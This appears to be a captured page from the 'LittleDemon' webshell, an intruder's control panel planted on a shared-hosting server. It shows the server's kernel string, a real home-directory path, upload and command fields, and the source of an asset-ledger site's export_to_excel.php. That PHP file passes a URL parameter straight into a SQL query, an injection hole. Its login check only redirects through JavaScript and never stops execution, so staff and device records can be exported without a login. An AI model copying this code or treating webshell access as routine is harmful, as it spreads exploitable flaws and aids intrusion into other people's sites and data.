LittleDemon WebShell


Linux premium274.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Path : /home/whagcoha/ledger.mwagalwaservices.com/
File Upload :
Command :
Current File : /home/whagcoha/ledger.mwagalwaservices.com/export_to_excel.php

<?php
if ((!isset($_SESSION['gen256']))  ) {
  echo "<script>
        window.open('login.php','_self');
    </script>";  
}

?>

<?php
// Database connection
include "dbconfig/db.php";

// Get the department ID from the query parameter
$did = $_GET['did'];

// Fetch data from the database
$query = "SELECT ar.DeviceType, ar.SerialNumber,ar.State, d.Department, t.staffId 
          FROM assetreg ar 
          JOIN transfer t ON ar.SerialNumber = t.SerialNumber 
          JOIN department d ON t.Department = d.Depid 
          WHERE d.Depid = $did";
$result = $conn->query($query);

// Check for results
if ($result->num_rows > 0) {
    // Set headers to indicate file download
    header("Content-Type: application/vnd.ms-excel");
    header("Content-Disposition: attachment; filename=Device_List.xls");
    header("Pragma: no-cache");
    header("Expires: 0");

    // Print column names
    echo "Device Type\tSerial Number\tDepartment\tStatus\tDevice User\n";

    // Print rows
    while ($row = $result->fetch_assoc()) {
        echo $row['DeviceType'] . "\t" . $row['SerialNumber'] . "\t" . $row['Department'] ."\t" . $row['State'] . "\t" . $row['staffId'] . "\n";
    }
} else {
    echo "No data found";
}

$conn->close();
?>

LittleDemon - FACEBOOK
[ KELUAR ]